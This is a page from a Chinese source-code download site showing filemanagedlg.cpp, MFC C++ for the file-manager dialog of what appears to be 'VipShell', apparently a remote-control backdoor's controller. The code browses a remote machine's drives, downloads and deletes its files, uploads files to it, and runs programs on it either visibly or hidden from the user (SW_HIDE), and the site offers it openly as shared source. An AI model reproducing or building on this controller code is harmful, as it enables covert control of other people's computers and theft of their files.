⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 filemanagedlg.cpp

📁 软件源代码,共享。有2个文件
💻 CPP
📖 第 1 页 / 共 2 页
字号:
{
	m_strCurrentPath = sz;
	if(m_strCurrentPath[m_strCurrentPath.GetLength() -1] != _T('\\'))
		m_strCurrentPath += _T("\\");
}
CString CFileManageDlg::__GetFileNameByIndex(DWORD dwIndex)
{
	CString strPath;
	tagVipShellFileInfo* pFileInfo = __GetFileInfoByIndex(dwIndex);
	if(!pFileInfo)
		return strPath;
	strPath = GetCurrentPath();
	strPath += pFileInfo->cFileName;
	return strPath;
}
DWORD CFileManageDlg::_GetSelItemToVector(std::vector<DWORD>* pVector)
{
	pVector->clear();
	POSITION posti = m_ListFile.GetFirstSelectedItemPosition();
	if(posti == NULL)
		return -1;
	while(posti)
	{
		DWORD dwSel = m_ListFile.GetNextSelectedItem(posti);
		pVector->push_back(dwSel);
	}

	return pVector->size();
}
DWORD CFileManageDlg::_GetSelItem()
{
	POSITION posti = m_ListFile.GetFirstSelectedItemPosition();
	if(posti == NULL)
		return -1;
	DWORD dwSel = m_ListFile.GetNextSelectedItem(posti);
	return dwSel;
}
tagVipShellFileInfo* CFileManageDlg::__GetFileInfoByIndex(DWORD dwIndex)
{
	if( (DWORD)m_ListFile.GetItemCount()-1 < dwIndex )
		return NULL;
	return &m_FileInfo[m_ListFile.GetItemData(dwIndex)];
}
void CFileManageDlg::OnNMDblclkListFile(NMHDR *pNMHDR, LRESULT *pResult)
{
	// TODO: 在此添加控件通知处理程序代码
	*pResult = 0;
	DWORD dwSel = _GetSelItem();
	if(dwSel == -1)
		return ;
	CString strFileName = m_ListFile.GetItemText(dwSel, 0);
	if( IsRoot() )
		return __OnGetFileInfo(strFileName);
	if(dwSel != 0)
	{
		tagVipShellFileInfo* pFileInfo = __GetFileInfoByIndex(dwSel);
		if(!pFileInfo)
			return ;
		if(pFileInfo->bIsDir)
		{
			CString strPath = GetCurrentPath();
			strPath += pFileInfo->cFileName;
			__OnGetFileInfo(strPath);
		}
	}
	else
	{
	//按下向上
		if(GetCurrentPath().GetLength() < 4)
			__OnGetRoot();
		else
		{
			CString strUp = GetCurrentUpPath(GetCurrentPath());
			__OnGetFileInfo(strUp);
		}
	}
	
}

void CFileManageDlg::OnFileShow()
{
	// TODO: 在此添加命令处理程序代码
	
	DWORD dwSel = _GetSelItem();
	if(dwSel == -1)
		return ;
	CString strPath = __GetFileNameByIndex(dwSel);
	TCHAR szPathDir[MAX_PATH] = {0};
	lstrcpy(szPathDir, strPath);
	*(_tcsrchr(szPathDir, _T('\\')) +1) = 0;
	bool bIsOk = m_hServer.RunFile(strPath, szPathDir, SW_SHOW);
}

void CFileManageDlg::OnFileHide()
{
	// TODO: 在此添加命令处理程序代码
	DWORD dwSel = _GetSelItem();
	if(dwSel == -1)
		return ;
	CString strPath = __GetFileNameByIndex(dwSel);
	TCHAR szPathDir[MAX_PATH] = {0};
	lstrcpy(szPathDir, strPath);
	*(_tcsrchr(szPathDir, _T('\\')) +1) = 0;
	bool bIsOk = m_hServer.RunFile(strPath, szPathDir, SW_HIDE);
}

void CFileManageDlg::OnFileMove()
{
	// TODO: 在此添加命令处理程序代码
	if(_GetSelItem() != -1)
		m_ListFile.EditLabel(_GetSelItem());
}

void CFileManageDlg::OnFileDel()
{
	int DeleteConfirm = MessageBox(L"确实要删除该文件吗?", L"确认文件删除",MB_ICONQUESTION|MB_OKCANCEL)==IDOK;
	if( DeleteConfirm == IDOK )
	{
	// TODO: 在此添加命令处理程序代码
	std::vector<DWORD> vecTorDwrd;
	DWORD dwRSel = _GetSelItemToVector(&vecTorDwrd);
	if(dwRSel == -1 || dwRSel == 0)
		return ;
	for(DWORD i = 0; i < vecTorDwrd.size(); i++)
	{
		DWORD dwSel = vecTorDwrd[i];
		CString strPath = __GetFileNameByIndex(dwSel);
		bool bIsOk = m_hServer.DelFile(strPath);
		if(bIsOk)
			m_ListFile.DeleteItem(dwSel);
	}
	}//DeleteConfirm

}

BOOL CFileManageDlg::SelectSaveFilePath(CString& strPath)
{
	    strPath = _T("");
		TCHAR szDir[MAX_PATH];
		BROWSEINFO bi; 
		ITEMIDLIST *pidl; 

		bi.hwndOwner=NULL; 
		bi.pidlRoot=NULL; 
		bi.pszDisplayName=NULL; 
		bi.lpszTitle=_T("选择储存目录"); 
		bi.ulFlags=BIF_RETURNONLYFSDIRS ; 
		bi.lpfn=NULL; 
		bi.lParam=0; 
		bi.iImage=0; 

		pidl=SHBrowseForFolder(&bi);

		if(!SHGetPathFromIDList(pidl,szDir))
		{
			return FALSE;
		}
		if(szDir[lstrlen(szDir) - 1] != L'\\')
			lstrcat(szDir, L"\\");
		strPath = szDir;
		return TRUE;
}
void CFileManageDlg::__SatrtWork()
{
	m_hThread = CreateThread(NULL, 0, ThreadDoWork, this, 0, NULL);
}
void CFileManageDlg::OnFileDown()
{
	// TODO: 在此添加命令处理程序代码
	__InitWorkVec();
	std::vector<DWORD> vecTorDwrd;
	DWORD dwRSel = _GetSelItemToVector(&vecTorDwrd);
	if(dwRSel == -1 || dwRSel == 0)
		return ;
	CString strPath;
	if( !SelectSaveFilePath(strPath) )
		return ;
	for(DWORD i = 0; i < vecTorDwrd.size(); i++)
	{
		strTransmitFile file;
		DWORD dwSel = vecTorDwrd[i];
		CString strFile = __GetFileNameByIndex(dwSel);
		tagVipShellFileInfo* pFileInfo = __GetFileInfoByIndex(dwSel);
		if(!pFileInfo)
			continue;
		file.strP = strPath + m_ListFile.GetItemText(dwSel, 0);
		file.strR = strFile;
		if( !pFileInfo->bIsDir )
			m_DownFileVec.push_back(file);
		else
			m_DownDirVec.push_back(file);
	}
	__SatrtWork();
	
}

void CFileManageDlg::OnLvnEndlabeleditListFile(NMHDR *pNMHDR, LRESULT *pResult)
{
	NMLVDISPINFO *pDispInfo = reinterpret_cast<NMLVDISPINFO*>(pNMHDR);
	// TODO: 在此添加控件通知处理程序代码
	*pResult = 0;
	DWORD dwSel = _GetSelItem();
	if(dwSel == -1)
		return ;
	CString strFile = __GetFileNameByIndex(dwSel);
	CString strNewFile;
	m_ListFile.GetEditControl()->GetWindowText(strNewFile);
	strNewFile = GetCurrentPath() + strNewFile;
	if(strNewFile.CompareNoCase(strFile) != 0)
	{
		tagVipShellFileInfo* pFileInfo = __GetFileInfoByIndex(dwSel);
		bool bIsOk = m_hServer.MoveFile(strFile, strNewFile);
		if(!bIsOk)
		{
			//error
			m_ListFile.SetItemText(_GetSelItem(), 0, pFileInfo->cFileName);
		}
		else
		{
			CString strN ;
			m_ListFile.GetEditControl()->GetWindowText(strN);
			m_ListFile.SetItemText(_GetSelItem(), 0, strN);
			lstrcpy(pFileInfo->cFileName, strN);
		}
	}

}

void CFileManageDlg::OnNMRclickListFile(NMHDR *pNMHDR, LRESULT *pResult)
{
	// TODO: 在此添加控件通知处理程序代码
	*pResult = 0;
	DWORD dwSel = _GetSelItem();
	if( dwSel != -1)
	{
		CString strFileName = m_ListFile.GetItemText(dwSel, 0);
		if(!IsRoot())
		{
			if(dwSel != 0)
			{
				tagVipShellFileInfo* pFileInfo = __GetFileInfoByIndex(dwSel);
			//	DWORD dwFileItem = (DWORD)m_ListFile.GetItemData(dwSel);
				//if(!IsDir(m_hFileVecror[dwFileItem]))
				{
					//显示菜单
					CMenu menu;
					if (menu.LoadMenu(IDR_MENU_FILEMANAGE))
					{

						CMenu* pSubMenu = menu.GetSubMenu(0);
						if (pSubMenu) 
						{
							if( pFileInfo->bIsDir)
							{
								pSubMenu->EnableMenuItem( ID_FILE_SHOW, MF_BYCOMMAND | MF_DISABLED | MF_GRAYED);
								pSubMenu->EnableMenuItem( ID_FILE_HIDE, MF_BYCOMMAND | MF_DISABLED | MF_GRAYED);
							//	pSubMenu->EnableMenuItem( ID_FILEMANAGE_DOWN, MF_BYCOMMAND | MF_DISABLED | MF_GRAYED);
							}
							CPoint mouse;
							GetCursorPos(&mouse);
							//	::SetForegroundWindow(m_nid.hWnd);	
							::TrackPopupMenu(pSubMenu->m_hMenu, 0, mouse.x, mouse.y, 0,
								m_hWnd, NULL);
						}

					}
				}
			}
		}
	}

}
BOOL CFileManageDlg::IsDir(LPCTSTR szFile)
{
	WIN32_FIND_DATA file;
	HANDLE hFile ;
	hFile = FindFirstFile( szFile, &file );
	if(hFile == INVALID_HANDLE_VALUE )
		return FALSE;
	BOOL bRet = IsDir(file);
	FindClose(hFile);
	return bRet;
}

BOOL CFileManageDlg::IsDir(WIN32_FIND_DATA& file)
{
	if(file.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
		return TRUE;
	return FALSE;
}
CString CFileManageDlg::_GetNameByPath(LPCTSTR szPath)
{
	CString strName ;
	if(lstrlen(szPath) == 0)
		return strName;
	strName = ( _tcsrchr(szPath, _T('\\')) + 1);
	return strName;
}
void CFileManageDlg::OnDropFiles(HDROP hDropInfo)
{
	// TODO: 在此添加消息处理程序代码和/或调用默认值
	CDialog::OnDropFiles(hDropInfo);
	if(IsRoot())
		return ;
	DWORD DropCount = DragQueryFile(hDropInfo, -1, NULL, 0);
	__InitWorkVec();
	for(DWORD i = 0; i < DropCount; i++)
	{
		TCHAR szName[MAX_PATH];
		DragQueryFile(hDropInfo, i, szName, MAX_PATH);
		strTransmitFile file;

		if(!IsDir(szName))
		{
			
			CString strUp; strUp = GetCurrentPath() + _GetNameByPath(szName);
			file.strP = szName;
			file.strR = strUp;
			m_UpFileVec.push_back(file);
		}
		else
		{
			CString strUp; strUp = GetCurrentPath() + _GetNameByPath(szName); strUp += _T("\\");
			CString strName = szName; strName += _T("\\");
			file.strP = szName;
			file.strR = strUp;
			m_UpDirVec.push_back(file);
		}
	}
	__SatrtWork();

}

BOOL CFileManageDlg::PreTranslateMessage(MSG* pMsg)
{
	// TODO: 在此添加专用代码和/或调用基类
	if(pMsg->hwnd == m_ListFile.GetSafeHwnd())
	{
		if(pMsg->message == WM_DROPFILES)
		{
			OnDropFiles((HDROP)pMsg->wParam);
		}
	}
	return CDialog::PreTranslateMessage(pMsg);
}

void CFileManageDlg::OnCancel()
{
	// TODO: 在此添加专用代码和/或调用基类
	ShowWindow(SW_HIDE);
	m_bIsClose = true;
	m_hServer.Close();
	if(m_hThread != NULL)
		WaitForSingleObject(m_hThread, 8000);

	__super::OnCancel();
}


//static 
int CALLBACK CFileManageDlg::SortCompareStringFunc(LPARAM lParam1, LPARAM lParam2, LPARAM lParamSort)
{
	CFileManageDlg* pThis = (CFileManageDlg*)lParamSort;
	int c ;
	if(pThis->m_nHeadItem == 0)
	{
		CString strItem1 = pThis->m_FileInfo[lParam1].cFileName;
		CString strItem2 = pThis->m_FileInfo[lParam2].cFileName;
		c = strItem1.CompareNoCase(strItem2);
	}else if(pThis->m_nHeadItem == 1)
	{
		c = pThis->m_FileInfo[lParam1].dwFileSize  - pThis->m_FileInfo[lParam2].dwFileSize;
	}else if( pThis->m_nHeadItem == 2)
	{
		if(pThis->m_FileInfo[lParam1].ftLastWriteTime.dwHighDateTime != pThis->m_FileInfo[lParam2].ftLastWriteTime.dwHighDateTime)
			c = pThis->m_FileInfo[lParam1].ftLastWriteTime.dwHighDateTime - pThis->m_FileInfo[lParam2].ftLastWriteTime.dwHighDateTime;
		else
			c = pThis->m_FileInfo[lParam1].ftLastWriteTime.dwLowDateTime - pThis->m_FileInfo[lParam2].ftLastWriteTime.dwLowDateTime;
	}else
		return 0;
	if(pThis->m_bCompareType)
		c = -c;
	return c;

}



void CFileManageDlg::OnHdnItemclickListFile(NMHDR *pNMHDR, LRESULT *pResult)
{
	LPNMHEADER phdr = reinterpret_cast<LPNMHEADER>(pNMHDR);
	// TODO: 在此添加控件通知处理程序代码
	*pResult = 0;
	if(IsRoot())
		return ;
	m_nHeadItem = phdr->iItem;
	m_ListFile.DeleteItem(0);
	m_ListFile.SortItems(SortCompareStringFunc,(DWORD_PTR) this);
	m_bCompareType = !m_bCompareType;
	m_ListFile.InsertItem(0, L"..向上", _GetFileImg(L"__dir"));
}

void CFileManageDlg::OnFileRunat()
{
	// TODO: 在此添加命令处理程序代码
	std::vector<DWORD> vecTorDwrd;
	DWORD dwRSel = _GetSelItemToVector(&vecTorDwrd);
	if(dwRSel == -1 || dwRSel == 0)
		return ;
	DWORD dwSel = vecTorDwrd[0];
	CString strPath = __GetFileNameByIndex(dwSel);
	
	strTransmitFile file;
	tagVipShellFileInfo* pFileInfo = __GetFileInfoByIndex(dwSel);
	if(!pFileInfo)
		return ;
	TCHAR szTmp[256] = {0};
	GetTempPath(256, szTmp);
	if(szTmp[lstrlen(szTmp) - 1] != _T('\\') )
		lstrcat(szTmp, _T("\\"));

	file.strP = szTmp + m_ListFile.GetItemText(dwSel, 0);
	file.strR = strPath;
	if( !pFileInfo->bIsDir )
	{
		bool bIsOk = m_hServer.DowndFile(file.strP, file.strR);
		if(bIsOk)
			ShellExecute(NULL, L"open", file.strP, NULL, NULL, SW_SHOW);
	}

}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -